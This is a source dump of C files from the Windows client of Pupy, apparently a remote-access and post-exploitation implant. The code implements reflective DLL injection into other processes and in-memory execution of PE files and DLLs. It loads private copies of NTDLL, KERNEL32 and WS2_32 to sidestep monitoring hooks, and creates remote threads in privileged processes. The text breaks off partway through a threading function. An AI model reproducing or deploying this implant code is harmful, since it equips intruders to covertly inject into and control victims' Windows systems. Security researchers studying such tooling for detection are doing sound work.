        /* Retrieve from sys.modules */
        return PyImport_ImportModule(modname);
}

static PyMethodDef methods[] = {
        { "is_shared", Py_is_shared_object, METH_NOARGS, DOC("Client is shared object") },
        { "_set_shared", Py_set_is_shared_object, METH_NOARGS, DOC("") },
        { "get_arch", Py_get_arch, METH_NOARGS, DOC("get current pupy architecture (x86 or x64)") },
        { "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS,
         DOC("reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\nreflectively inject a dll into a process. raise an Exception on failure") },
        { "mexec", Py_mexec, METH_VARARGS|METH_KEYWORDS, DOC("mexec(cmdline, raw_pe, redirected_stdio=True, hidden=True)") },
        { "import_module", import_module, METH_VARARGS,
          "import_module(data, size, initfuncname, path) -> module" },
        { "load_dll", Py_load_dll, METH_VARARGS, DOC("load_dll(dllname, raw_dll) -> ptr") },
        { "set_exit_session_callback", Py_set_exit_session_callback, METH_VARARGS, DOC("set_exit_session_callback(function)")},
        { "find_function_address", Py_find_function_address, METH_VARARGS,
          DOC("find_function_address(dllname, function) -> address") },
        { NULL, NULL},         /* Sentinel */
};




static struct PyModuleDef PupyModuleDef =
{
    PyModuleDef_HEAD_INIT,
    "_pupy", /* name of module */
    "", /* module documentation, may be NULL */
    -1,   /* size of per-interpreter state of the module, or -1 if the module keeps state in global variables. */
    methods
};

#ifdef _PUPY_DYNLOAD
#define FUNC_EXPORT PyMODINIT_FUNC
#else
#define FUNC_EXPORT void *
#endif

FUNC_EXPORT PyInit__pupy(void) {
        PyObject *pupy;
        //PyObject *pupy = Py_InitModule3("_pupy", methods, module_doc);
        dprint("creating pupy module ...\n");
        pupy = PyModule_Create(&PupyModuleDef);
        if (!pupy) {
                return NULL;
        }
        dprint("adding string constant ...\n");

        PyModule_AddStringConstant(pupy, "revision", GIT_REVISION_HEAD);
        ExecError = PyErr_NewException("_pupy.error", NULL, NULL);

        Py_XINCREF(ExecError);
        if (PyModule_AddObject(pupy, "error", ExecError) < 0) {
            Py_XDECREF(ExecError);
            Py_CLEAR(ExecError);
            Py_DECREF(pupy);
            return NULL;
        }
        dprint("returning module %x ...\n", pupy);
        
        return pupy;
}

BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
    DWORD threadId;
    BOOL bReturnValue = TRUE;

    dprint("Call DllMain (_pupy) %d/%p\n", dwReason, lpReserved);

    switch( dwReason )
    {
        case DLL_QUERY_HMODULE:
            if( lpReserved != NULL )
                *(HMODULE *)lpReserved = hAppInstance;
        break;

        case DLL_THREAD_ATTACH:
            break;

        case DLL_PROCESS_ATTACH:
            hAppInstance = hinstDLL;
            if (lpReserved > 0xFFFF) {
                _pupy_pyd_args_t *args =
                        (_pupy_pyd_args_t*) lpReserved;

                if (args->pvMemoryLibraries) {
                        MySetLibraries(args->pvMemoryLibraries);
                }

                args->cbExit = on_exit_session;
                args->blInitialized = TRUE;
            }
            return TRUE;

        case DLL_THREAD_DETACH:
            break;

        case DLL_PROCESS_DETACH:
            dprint("Should not happen?\n");
            return TRUE;
    }

    dprint("Call DllMain - completed\n");
    return bReturnValue;
}



================================================
FILE: client/sources-windows-py3/pupy_load.c
================================================
/*
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
*/

#include <windows.h>
#include <signal.h>

#include "revision.h"
#include "pupy_load.h"
#include "debug.h"

#include "Python-dynload.c"

#ifdef POSTMORTEM
#include "postmortem.h"
#include "postmortem.c"
#endif

#ifdef _PUPY_DYNLOAD
#ifdef DEBUG
#include "_pupy_debug_pyd.c"
#define _pupy_pyd_c_start _pupy_debug_pyd_c_start
#define _pupy_pyd_c_size _pupy_debug_pyd_c_size
#else
#include "_pupy_pyd.c"
#endif
#endif

#define WINDOW_CLASS_NAME "DummyWindowClass"

static on_exit_session_t on_exit_session_cb = NULL;
static BOOL on_exit_session_called = FALSE;

typedef LPWSTR* (*CommandLineToArgvW_t)(
    LPCWSTR lpCmdLine,
    int     *pNumArgs
);

typedef VOID (*__p_set_abort_behavior_t)(DWORD, DWORD);
typedef VOID (__cdecl *signal_t) (
    int sig,
    void (__cdecl *func ) (int)
);


#ifdef DEBUG
// Redirect early stdout to some file
static
void redirect_stdout() {
    FILE* new_log;
    char tmpdir[MAX_PATH];
    char tmp[MAX_PATH];

    dprint("Redirect stdout requested\n");

    if (!GetTempPathA(sizeof(tmpdir), tmpdir))
        return;

    dprint("Redirect stdout, tmpdir: %s\n", tmpdir);

    if (!GetTempFileNameA(
            tmpdir,
            "pup",
            0,
            tmp))
        return;

    set_debug_log(tmp);
}
#endif


// https://stackoverflow.com/questions/291424/
static
LPSTR* CommandLineToArgvA(INT *pNumArgs)
{
    LPWSTR cmdline;
    LPWSTR* args;
    LPSTR* result;
    LPSTR buffer;

    int retval;
    int numArgs;
    int storage;
    int bufLen;
    int i;

    static CommandLineToArgvW_t CommandLineToArgvW_ = NULL;

    if (!CommandLineToArgvW_) {
        HMODULE hShell32 = LoadLibrary("SHELL32.DLL");
        CommandLineToArgvW_ = (CommandLineToArgvW_t) GetProcAddress(
            hShell32, "CommandLineToArgvW");
        dprint("CommandLineToArgvW: %p\n", CommandLineToArgvW_);
    }

    if (!CommandLineToArgvW_) {
        dprint("Failed to load CommandLineToArgvW from SHELL32.DLL\n");
        *pNumArgs = 0;
        return NULL;
    }

    numArgs = 0;

    cmdline = GetCommandLineW();
    if (!cmdline) {
        dprint("Command line not found");
        *pNumArgs = 0;
        return NULL;
    }

    args = CommandLineToArgvW_(cmdline, &numArgs);
    if (args == NULL) {
        *pNumArgs = 0;
        return NULL;
    }

    storage = numArgs * sizeof(LPSTR);
    for (i = 0; i < numArgs; ++ i)
    {
        retval = WideCharToMultiByte(
            CP_UTF8, 0, args[i], -1, NULL,
            0, NULL, NULL
        );
        if (!SUCCEEDED(retval))
        {
            LocalFree(args);
            *pNumArgs = 0;
            return NULL;
        }

        storage += retval;
    }

    result = (LPSTR*)LocalAlloc(LMEM_FIXED, storage);
    if (result == NULL)
    {
        LocalFree(args);
        *pNumArgs = 0;
        return NULL;
    }

    bufLen = storage - (numArgs * sizeof(LPSTR));
    buffer = ((LPSTR)result) + (numArgs * sizeof(LPSTR));
    for (i = 0; i < numArgs; ++ i)
    {
        if (bufLen < 0) {
            dprint("Buflen exhaused, arg %d (%d/%d)\n", i, bufLen, storage);
            numArgs = i;
            break;
        }

        retval = WideCharToMultiByte(
            CP_UTF8, 0, args[i], -1, buffer,
            bufLen, NULL, NULL
        );

        if (!SUCCEEDED(retval))
        {
            LocalFree(result);
            LocalFree(args);
            *pNumArgs = i;
            return NULL;
        }

        result[i] = buffer;

        buffer += retval;
        bufLen -= retval;
    }

    LocalFree(args);

    *pNumArgs = numArgs;
    return result;
}

#ifdef _PUPY_PRIVATE_NT
typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);

static const PSTR NtDllAllowedPrefixes[] = {
    "Nt", "RtlAdjust", "RtlAllocate", "RtlConnect",
    NULL
};
static const PSTR Kernel32AllowedPrefixes[] = {
    "Open", "CreateRemote", "CreateFile",
    "Write", "Read", "Terminate", "Resume", "Virtual",
    "Reg", NULL
};
#endif

static
LONG WINAPI OnThreadCrash(PVOID ExceptionInfo) {

#ifdef POSTMORTEM
    LONG lVerdict = Postmortem(ExceptionInfo);
#else
    LONG lVerdict = 0;
#endif

    if (on_exit_session_cb && !on_exit_session_called) {
        dprint("Try to notify about client death\n");

        on_exit_session_called = TRUE;
        on_exit_session_cb();

        dprint("Try to notify about client death - done\n");
    }

    if (ExceptionInfo == NULL) {
        dprint("Non-Exception crash. Terminate process\n");
        TerminateProcess(GetCurrentProcess(), 0);
    }

    return lVerdict;
}

void OnAbortHandler(int signum)
{
    dprint("Get abort() exception!\n");
    OnThreadCrash(NULL);
}

void initialize(BOOL isDll) {
    int i, argc = 0;
    char **argv = NULL;
    char *oldcontext;

#ifdef _PUPY_DYNLOAD
    _pupy_pyd_args_t args;
#endif

#ifdef _PUPY_PRIVATE_NT
    HMODULE hNtDll = GetModuleHandleA("NTDLL.DLL");
    HMODULE hKernelBase = GetModuleHandleA("KERNELBASE.DLL");
    HMODULE hKernel32 = GetModuleHandleA("KERNEL32.DLL");
#ifdef _PUPY_PRIVATE_WS2_32
    HMODULE hWs2_32 = LoadLibraryA("WS2_32.DLL");
#endif

#ifdef WIN_X64
    BOOL blIsWow64 = FALSE;
#else
    BOOL blIsWow64 = TRUE;
    LPFN_ISWOW64PROCESS fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(
        hKernel32, "IsWow64Process");

    if (fnIsWow64Process)
        fnIsWow64Process(GetCurrentProcess(),&blIsWow64);
#endif

    if (!blIsWow64 && hNtDll && hKernel32 && hKernelBase)  {
        HMODULE hPrivate;
        dprint("Loading private copy of NTDLL/KERNELBASE\n");

        hPrivate = MyLoadLibraryEx(
            "NTDLL.DLL", hNtDll, NULL, NtDllAllowedPrefixes,
            MEMORY_LOAD_FROM_HMODULE | MEMORY_LOAD_EXPORT_FILTER_PREFIX
        );

        if (hPrivate) {
            dprint(
                "Private copy of NTDLL.DLL loaded to %p (orig: %p)\n",
                hPrivate, hNtDll
            );

            hPrivate = MyLoadLibraryEx(
                "KERNEL32.DLL", hKernelBase, hKernel32,
                Kernel32AllowedPrefixes,
                MEMORY_LOAD_FROM_HMODULE | MEMORY_LOAD_ALIASED | \
                    MEMORY_LOAD_EXPORT_FILTER_PREFIX | \
                    MEMORY_LOAD_NO_EP
            );

            if (hPrivate) {
                dprint(
                    "Private copy of KERNELBASE.DLL loaded to %p as KERNEL32 (orig: %p)\n",
                    hPrivate, hKernel32
                );
            } else {
                dprint("PRIVATE LOAD OF KERNEL32 FAILED\n");
            }

#ifdef _PUPY_PRIVATE_WS2_32
            hPrivate = MyLoadLibraryEx(
                "WS2_32.DLL", hWs2_32, NULL, NULL, MEMORY_LOAD_FROM_HMODULE
            );

            if (hPrivate) {
                dprint(
                    "Private copy of WS2_32.DLL loaded to %p (orig %p)\n",
                    hPrivate, hWs2_32
                );
                FreeLibrary(hWs2_32);
            } else {
                dprint("PRIVATE LOAD OF WS2_32 FAILED\n");
            }
#endif
        }
    }
#endif

    dprint("TEMPLATE REV: %s\n", GIT_REVISION_HEAD);

#ifdef DEBUG
    redirect_stdout();
#endif

    dprint("Parsing command line..\n");
    argv = CommandLineToArgvA(&argc);

    for (i=0; i<argc; i++) {
        dprint("ARGV: %d: %s\n", i, argv[i]);
    }

    dprint("Initializing python...\n");
    if (!initialize_python(argc, argv, isDll)) {
        return;
    }

    {
        DWORD dwOldErrorMode = SetErrorMode(
            SEM_FAILCRITICALERRORS |
                SEM_NOGPFAULTERRORBOX |
                SEM_NOALIGNMENTFAULTEXCEPT |
                SEM_NOGPFAULTERRORBOX |
                SEM_NOOPENFILEERRORBOX
        );

        dprint("Old error mode: %08x\n", dwOldErrorMode);
    }

    signal(SIGABRT, OnAbortHandler);

    _set_abort_behavior(0, _WRITE_ABORT_MSG);

    /*
    {
        HMODULE hMSVCR90 = MyGetModuleHandleA("MSVCR90");
        if (hMSVCR90) {
            __p_set_abort_behavior_t __p_set_abort_behavior = (__p_set_abort_behavior_t)
                MyGetProcAddress(hMSVCR90, "_set_abort_behavior");

            signal_t __p_signal = (signal_t) MyGetProcAddress(hMSVCR90, "signal");

            if (__p_set_abort_behavior) {
                __p_set_abort_behavior(0, _WRITE_ABORT_MSG);
                dprint("_set_abort_behavior/MSVCR90 - default abort() handlers removed\n");
            } else {
                dprint("_set_abort_behavior/MSVCR90 - _set_abort_behavior was not found\n");
            }

            if (__p_signal) {
                __p_signal(SIGABRT, OnAbortHandler);
                dprint("signal/MSVCR90 - set sigabrt handler\n");
            } else {
                dprint("signal/MSVCR90 - signal was not found\n");
            }
        } else {
            dprint("_set_abort_behavior/MSVCR90 - DLL was not loaded\n");
        }
    }
    */

#ifdef POSTMORTEM
    EnableCrashingOnCrashes();

    if (isDll) {
        dprint("Postmortem - enable per-thread handlers\n");
        MySetUnhandledExceptionFilter(NULL, OnThreadCrash);
    } else {
        dprint("Postmortem - set global handler\n");
        SetUnhandledExceptionFilter(OnThreadCrash);
    }
#endif

#ifdef _PUPY_DYNLOAD
    dprint("_pupy built with dynload\n");

    args.pvMemoryLibraries = MyGetLibraries();
    args.cbExit = NULL;
    args.blInitialized = FALSE;

    dprint("Load _pupy\n");
    HMODULE pupyhMod = xz_dynload(
        "_pupy.pyd",
        _pupy_pyd_c_start, _pupy_pyd_c_size,
        &args
    );

    if (args.blInitialized != TRUE) {
        dprint("_pupy.pyd initialization failed\n");
        return;
    }

    typedef FARPROC (*PyInit__pupyT)(void);
    PyInit__pupyT PyInit__pupy;
    PyInit__pupy = (PyInit__pupyT)MyGetProcAddress(pupyhMod, "PyInit__pupy");

    oldcontext = _Py_PackageContext;
    _Py_PackageContext = "_pupy";
    PyObject *m = PyInit__pupy();
    _Py_PackageContext = oldcontext;
    
    
    PyObject *modules = NULL;
    modules = PyImport_GetModuleDict();
    PyObject *name = PyUnicode_FromString("_pupy");
    _PyImport_FixupExtensionObject(m, name, name, modules);

    Py_DECREF(name);
    

    dprint("cbExit: %p\n", args.cbExit);
    dprint("pvMemoryLibraries: %p\n", args.pvMemoryLibraries);

    on_exit_session_cb = args.cbExit;

#else
    PyInit_pupy();
#endif

    return;
}

void deinitialize() {
    deinitialize_python();
}

LRESULT CALLBACK WinProc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
    BOOL blExit = FALSE;

    switch (msg) {
    case WM_QUERYENDSESSION:
        switch (lParam) {
            case ENDSESSION_CLOSEAPP:
                dprint("WinProc: WM_QUERYENDSESSION/ENDSESSION_CLOSEAPP\n");
                break;
            case ENDSESSION_CRITICAL:
                dprint("WinProc: WM_QUERYENDSESSION/ENDSESSION_CRITICAL\n");
                break;
            case ENDSESSION_LOGOFF:
                dprint("WinProc: WM_QUERYENDSESSION/ENDSESSION_LOGOFF\n");
                break;
        }
        break;

    case WM_ENDSESSION:
        blExit = TRUE;
        dprint("WinProc: WM_ENDSESSION\n");
        break;
    case WM_CLOSE:
        blExit = TRUE;
        dprint("WinProc: WM_CLOSE\n");
        break;
    case WM_QUIT:
        blExit = TRUE;
        dprint("WinProc: WM_QUIT\n");
        break;

    default:
        return DefWindowProc (hwnd, msg, wParam, lParam);
    }

    if (blExit) {
        dprint("WinProc: Get Exit message. Current handler: %p\n", on_exit_session_cb);
        if (on_exit_session_cb && !on_exit_session_called) {
            on_exit_session_called = TRUE;
            on_exit_session_cb();
            dprint("WinProc: callback called\n");
        }
    }

    return FALSE;
}

#ifdef POSTMORTEM
static LONG PostmortemFilter(int code, PEXCEPTION_POINTERS pExceptionInfo) {
    LPTOP_LEVEL_EXCEPTION_FILTER lpLocalFilter = MyGetUnhandledExceptionFilter();
    dprint("PostmortemFilter: Exception code %d; Info: %p\n", code, pExceptionInfo);

    if (lpLocalFilter) {
        dprint("Using local postmortem filter\n");
        lpLocalFilter(pExceptionInfo);
        return EXCEPTION_CONTINUE_SEARCH;
    } else {
        dprint("Using global postmortem filter\n");
        return Postmortem(pExceptionInfo);
    }
}
#endif

DWORD WINAPI _run_pupy_thread(LPVOID lpArg)
{
#ifdef POSTMORTEM
    __try {
        dprint("Pupy worker started [Postmortem enabled]\n");
        run_pupy();
    }
    __except(PostmortemFilter(GetExceptionCode(), GetExceptionInformation())) {
        dprint("Fatal error at main thread\n");
    }
#else
    dprint("Pupy worker started [Postmortem disabled]\n");
    run_pupy();
#endif
    dprint("Pupy worker exited\n");
    return 0;
}

DWORD WINAPI execute(LPVOID lpArg)
{
    DWORD dwExitCode = -1;
    MSG msg;
    BOOL bRet;
    WNDCLASS wc;
    HWND hwndMain;
    HINSTANCE hinst;
    HANDLE hThread;
    DWORD threadId;
    DWORD dwWake;
    WNDCLASSEX wx;

    dprint("Running pupy...\n");

    ZeroMemory(&wx, sizeof(WNDCLASSEX));

    wx.cbSize = sizeof(WNDCLASSEX);
    wx.lpfnWndProc = WinProc;
    wx.style = CS_GLOBALCLASS;
    wx.lpszClassName = WINDOW_CLASS_NAME;

    if ( ! RegisterClassEx(&wx) ) {
        dprint("RegisterClassEx failed: %d\n", GetLastError());
        goto lbExit;
    }

    hwndMain = CreateWindowEx(
         0,
         WINDOW_CLASS_NAME,
         NULL,
         0, 0, 0, 0, 0,
         NULL, NULL, NULL, NULL
    );

    if (!hwndMain) {
        dprint("CreateWindowEx failed: %d\n", GetLastError());
        goto lbUnregisterClass;
    }

    hThread = CreateThread(
        NULL,
        0,
        _run_pupy_thread,
        NULL,
        0,
        &threadId
    );

    if (!hThread) {
        dprint("CreateThread failed: %d\n", GetLastError());
        dwExitCode = -GetLastError();
        goto lbDestroyWindow;
    }

    for (;;) {
        dwWake = MsgWaitForMultipleObjects(
            1,
            &hThread,
            FALSE,
            INFINITE,
            QS_ALLINPUT
        );

        switch (dwWake) {
        case WAIT_FAILED:
            dwExitCode = -3;
            goto lbDestroyWindow;

        case WAIT_TIMEOUT:
            continue;

        case WAIT_OBJECT_0:
            dwExitCode = 0;
            goto lbDestroyWindow;

        case WAIT_OBJECT_0 + 1:
            while (PeekMessage( &msg, NULL, 0, 0, PM_REMOVE)) {
                TranslateMessage(&msg);
                DispatchMessage(&msg);
            }
            break;
        }
    }

lbDestroyWindow:
    DestroyWindow(hwndMain);

lbUnregisterClass:
    if (UnregisterClassA(WINDOW_CLASS_NAME, NULL) == FALSE) {
        dprint("UnregisterClass failed: dwLastError=%d\n", GetLastError());
    }

lbExit:
    return dwExitCode;
}


================================================
FILE: client/sources-windows-py3/pupy_load.h
================================================
#ifndef PYTHONINTERPRETER
#define PYTHONINTERPRETER

#include <windows.h>

typedef VOID (*on_exit_session_t)(VOID);

#ifdef _PUPY_DYNLOAD

typedef struct _pupy_pyd_args {
    PVOID *pvMemoryLibraries;
    on_exit_session_t cbExit;
    BOOL blInitialized;
} _pupy_pyd_args_t;
#else
void on_exit_session(void);
#endif


void initialize(BOOL isDll);
DWORD WINAPI execute(LPVOID lpArg);
void deinitialize();

void setup_jvm_class();

#endif


================================================
FILE: client/sources-windows-py3/remote_thread.c
================================================
//#include "common.h"
#include <windows.h>
#include "debug.h"

#include "remote_thread.h"
/*! @brief Container structure for a client identifer used when creating remote threads with RtlCreateUserThread. */
typedef struct _MIMI_CLIENT_ID {
    PVOID UniqueProcess;
    PVOID UniqueThread;
} CLIENTID;

/*! @brief Function pointer type for the RtlCreateUserThread function in ntdll.dll */
typedef NTSTATUS (WINAPI * PRtlCreateUserThread)(
    HANDLE, PSECURITY_DESCRIPTOR, BOOL, ULONG, SIZE_T,
    SIZE_T, PTHREAD_START_ROUTINE, PVOID, PHANDLE,
    CLIENTID*
);

typedef DWORD (WINAPI *PGetThreadId)(HANDLE Thread);

/*! @brief Reference to the loaded RtlCreateUserThread function pointer. */
static PRtlCreateUserThread pRtlCreateUserThread = NULL;

static PGetThreadId fGetThreadId = NULL;

/*! @brief Indication of whether an attempt to locate the pRtlCreateUserThread pointer has been made. */
static BOOL pRtlCreateUserThreadAttempted = FALSE;

/*!
 * @brief Helper function for creating a remote thread in a privileged process.
 * @param hProcess Handle to the target process.
 * @param sStackSize Size of the stack to use (if unsure, specify 0).
 * @param pvStartAddress Pointer to the function entry point that has been loaded into the target.
 * @param pvStartParam Pointer to the parameter to pass to the thread function.
 * @param dwCreateFlags Creation flags to use when creating the new thread.
 * @param pdwThreadId Pointer to the buffer that will receive the thread ID (optional).
 * @return Handle to the new thread.
 * @retval NULL Indicates an error, which can be retrieved with \c GetLastError().
 * @remark This function has been put in place to wrap up the handling of creating remote threads
 *         in privileged processes across all operating systems. In Windows XP and earlier, the
 *         \c CreateRemoteThread() function was sufficient to handle this case, however this changed
 *         in Vista and has been that way since. For Vista onwards, the use of the hidden API function
 *         \c RtlCreateUserThread() is required. This function attempts to use \c CreateRemoteThread()
 *         first and if that fails it will fall back to \c RtlCreateUserThread(). This means that the
 *         existing behaviour is kept for when running on XP and earlier, or when the user is already
 *         running within a privileged process.
 */
HANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId)
{
    NTSTATUS ntResult;
    BOOL bCreateSuspended;
    DWORD dwThreadId;
    HANDLE hThread;

    if (pdwThreadId == NULL)
    {
        pdwThreadId = &dwThreadId;
    }

    hThread = CreateRemoteThread(
        hProcess, NULL, sStackSize,
        (LPTHREAD_START_ROUTINE) pvStartAddress, pvStartParam,
        dwCreateFlags, pdwThreadId
    );

    dprint("[REMOTETHREAD] CreateRemoteThread hThread = %p, ret=%d\n", hThread, GetLastError());

    // ERROR_NOT_ENOUGH_MEMORY is returned when the function fails due to insufficient privs
    // on Vista and later.
    if (GetLastError() == ERROR_NOT_ENOUGH_MEMORY)
    {
        dprint("[REMOTETHREAD] CreateRemoteThread seems to lack permissions, trying alternative options\n");
        hThread = NULL;

        // Only attempt to load the function pointer if we haven't attempted it already.
        if (!pRtlCreateUserThreadAttempted)
        {
            if (pRtlCreateUserThread == NULL)
            {
                pRtlCreateUserThread = (PRtlCreateUserThread) GetProcAddress(
                    GetModuleHandleA("NTDLL.DLL"), "RtlCreateUserThread");

                fGetThreadId = (PGetThreadId) GetProcAddress(
                    GetModuleHandleA("KERNEL32.DLL"), "GetThreadId");

                if (pRtlCreateUserThread)
                {
                    dprint("[REMOTETHREAD] RtlCreateUserThread found at %p\n",
                    pRtlCreateUserThread);
                } else {
                    dprint("[REMOTETHREAD] RtlCreateUserThread not found\n");
                }
            }
            pRtlCreateUserThreadAttempted = TRUE;
        }

        // if at this point we don't have a valid pointer, it means that we don't have this function available
        // on the current OS
        if (pRtlCreateUserThread && fGetThreadId)
        {
            dprint("[REMOTETHREAD] Attempting thread creation with RtlCreateUserThread\n");
            bCreateSuspended = (dwCreateFlags & CREATE_SUSPENDED) == CREATE_SUSPENDED;
            ntResult = pRtlCreateUserThread(
                hProcess, NULL, bCreateSuspended, 0, 0, 0,
                (PTHREAD_START_ROUTINE) pvStartAddress, pvStartParam,
                &hThread, NULL
            );
            SetLastError(ntResult);

            dprint("[REMOTETHREAD] Created: %p (ret=%d)\n", hThread, ntResult);

            if (ntResult == 0 && pdwThreadId)
            {
                *pdwThreadId = fGetThreadId(hThread);
                dprint("[REMOTETHREAD] Thread ID: %08x\n", *pdwThreadId);
            }
        }
        else
        {
            // restore the previous error so that it looks like we haven't done anything else
            SetLastError(ERROR_NOT_ENOUGH_MEMORY);
        }
    }

    return hThread;
}




================================================
FILE: client/sources-windows-py3/remote_thread.h
================================================
#ifndef _METERPRETER_REMOTE_THREAD_H
#define _METERPRETER_REMOTE_THREAD_H

HANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId);

#endif


================================================
FILE: client/sources-windows-py3/resource_python_manifest.c
================================================

#ifdef _WIN64
    const char resource_python_manifest[]="<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n"
"<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">\n"
"<trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3\">\n"
"<security>\n"
"<requestedPrivileges>\n"
"<requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\"></requestedExecutionLevel>\n"
"</requestedPrivileges>\n"
"</security>\n"
"</trustInfo>\n"
"<dependency>\n"
"<dependentAssembly>\n"
"<assemblyIdentity type=\"win32\" name=\"Microsoft.VC90.CRT\" version=\"9.0.21022.8\" processorArchitecture=\"amd64\" publicKeyToken=\"1fc8b3b9a1e18e3b\"></assemblyIdentity>\n"
"</dependentAssembly>\n"
"</dependency>\n"
"</assembly>\n";
#else
    const char resource_python_manifest[]="<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n"
"<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">\n"
"<trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3\">\n"
"<security>\n"
"<requestedPrivileges>\n"
"<requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\"></requestedExecutionLevel>\n"
"</requestedPrivileges>\n"
"</security>\n"
"</trustInfo>\n"
"<dependency>\n"
"<dependentAssembly>\n"
"<assemblyIdentity type=\"win32\" name=\"Microsoft.VC90.CRT\" version=\"9.0.21022.8\" processorArchitecture=\"x86\" publicKeyToken=\"1fc8b3b9a1e18e3b\"></assemblyIdentity>\n"
"</dependentAssembly>\n"
"</dependency>\n"
"</assembly>\n";
#endif



================================================
FILE: client/sources-windows-py3/thread.c
================================================
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include "thread.h"
#ifndef _WIN32
#include <pthread.h>

int __futex_wait(volatile void *ftx, int val, const struct timespec *timeout);
int __futex_wake(volatile void *ftx, int count);

#include <time.h>
#include <signal.h>

#endif

// thread.c contains wrappers for the primitives of locks, events and threads for use in
// the multithreaded meterpreter. This is the win32/win64 implementation.

/*****************************************************************************************/

/*
 * Create a new lock. We choose Mutex's over CriticalSections as their appears to be an issue
 * when using CriticalSections with OpenSSL on some Windows systems. Mutex's are not as optimal
 * as CriticalSections but they appear to resolve the OpenSSL deadlock issue.
 */
LOCK * lock_create( VOID )
{
    LOCK * lock = (LOCK *)malloc( sizeof( LOCK ) );
    if( lock != NULL )
    {
        memset( lock, 0, sizeof( LOCK ) );

#ifdef _WIN32
        lock->handle = CreateMutex( NULL, FALSE, NULL );
#else
        pthread_mutex_init(lock->handle, NULL);
#endif
    }
    return lock;
}

/*
 * Destroy a lock that is no longer required.
 */
VOID lock_destroy( LOCK * lock )
{
    if( lock != NULL  )
    {
        lock_release( lock );

#ifdef _WIN32
        CloseHandle( lock->handle );
#else
        pthread_mutex_destroy(lock->handle);
#endif

        free( lock );
    }
}

/*
 * Acquire a lock and block untill it is acquired.
 */
VOID lock_acquire( LOCK * lock )
{
    if( lock != NULL  ) {
#ifdef _WIN32
        WaitForSingleObject( lock->handle, INFINITE );
#else
        pthread_mutex_lock(lock->handle);
#endif
    }
}

/*
 * Release a lock previously held.
 */
VOID lock_release( LOCK * lock )
{
    if( lock != NULL  ) {
#ifdef _WIN32
        ReleaseMutex( lock->handle );
#else
        pthread_mutex_unlock(lock->handle);
#endif
    }
}

/*****************************************************************************************/

/*
 * Create a new event which can be signaled/polled/and blocked on.
 */
EVENT * event_create( VOID )
{
    EVENT * event = NULL;

    event = (EVENT *)malloc( sizeof( EVENT ) );
    if( event == NULL )
        return NULL;

    memset( event, 0, sizeof( EVENT ) );

#ifdef _WIN32
    event->handle = CreateEvent( NULL, FALSE, FALSE, NULL );
    if( event->handle == NULL )
    {
        free( event );
        return NULL;
    }
#endif

    return event;
}

/*
 * Destroy an event.
 */
BOOL event_destroy( EVENT * event )
{
    if( event == NULL )
        return FALSE;

#ifdef _WIN32
    CloseHandle( event->handle );
#endif

    free( event );

    return TRUE;
}

/*
 * Signal an event.
 */
BOOL event_signal( EVENT * event )
{
    if( event == NULL )
        return FALSE;

#ifdef _WIN32
    //dprintf( "Signalling 0x%x", event->handle );
    if( SetEvent( event->handle ) == 0 ) {
        //dprintf( "Signalling 0x%x failed %u", event->handle, GetLastError() );
        return FALSE;
    }
#else
    event->handle = (HANDLE)1;
    __futex_wake(&(event->handle), 1);
#endif

    return TRUE;
}

/*
 * Poll an event to see if it has been signaled. Set timeout to -1 to block indefinatly.
 * If timeout is 0 this function does not block but returns immediately.
 */
BOOL event_poll( EVENT * event, DWORD timeout )
{
#ifdef _WIN32
    if( event == NULL )
        return FALSE;

    if( WaitForSingleObject( event->handle, timeout ) == WAIT_OBJECT_0 )
        return TRUE;

    return FALSE;
#else
    BOOL result = FALSE;

    // DWORD WINAPI WaitForSingleObject(
    // __in  HANDLE hHandle,
    // __in  DWORD dwMilliseconds
    // );
    // http://msdn.microsoft.com/en-us/library/ms687032(VS.85).aspx

    if( event == NULL )
        return FALSE;

    if(timeout) {
        struct timespec ts;

        // XXX, need to verify for -1. below modified from bionic/pthread.c
        // and maybe loop if needed ;\

        ts.tv_sec = timeout / 1000;
        ts.tv_nsec = (timeout%1000)*1000000;
        if (ts.tv_nsec >= 1000000000) {
            ts.tv_sec++;
            ts.tv_nsec -= 1000000000;
        }

        // atomically checks if event->handle is 0, if so,
        // it sleeps for timeout. if event->handle is 1, it
        // returns straight away.

        __futex_wait(&(event->handle), 0, &ts);
    }

    // We should behave like an auto-reset event
    result = event->handle ? TRUE : FALSE;
    if( result )
        event->handle = (HANDLE)0;

    return result;
#endif
}

/*****************************************************************************************/

/*
 * Opens and create a THREAD item for the current/calling thread.
 */
THREAD * thread_open( VOID )
{
    THREAD * thread        = NULL;
#ifdef _WIN32
    OPENTHREAD pOpenThread = NULL;
    HMODULE hKernel32      = NULL;


    thread = (THREAD *)malloc( sizeof( THREAD ) );
    if( thread != NULL )
    {
        memset( thread, 0, sizeof(THREAD) );

        thread->id      = GetCurrentThreadId();
        thread->sigterm = event_create();

        // Windows specific process of opening a handle to the current thread which
        // works on NT4 up. We only want THREAD_TERMINATE|THREAD_SUSPEND_RESUME access
        // for now.

        // First we try to use the normal OpenThread function, available on Windows 2000 and up...
        hKernel32 = LoadLibrary( "kernel32.dll" );
        pOpenThread = (OPENTHREAD)GetProcAddress( hKernel32, "OpenThread" );
        if( pOpenThread )
        {
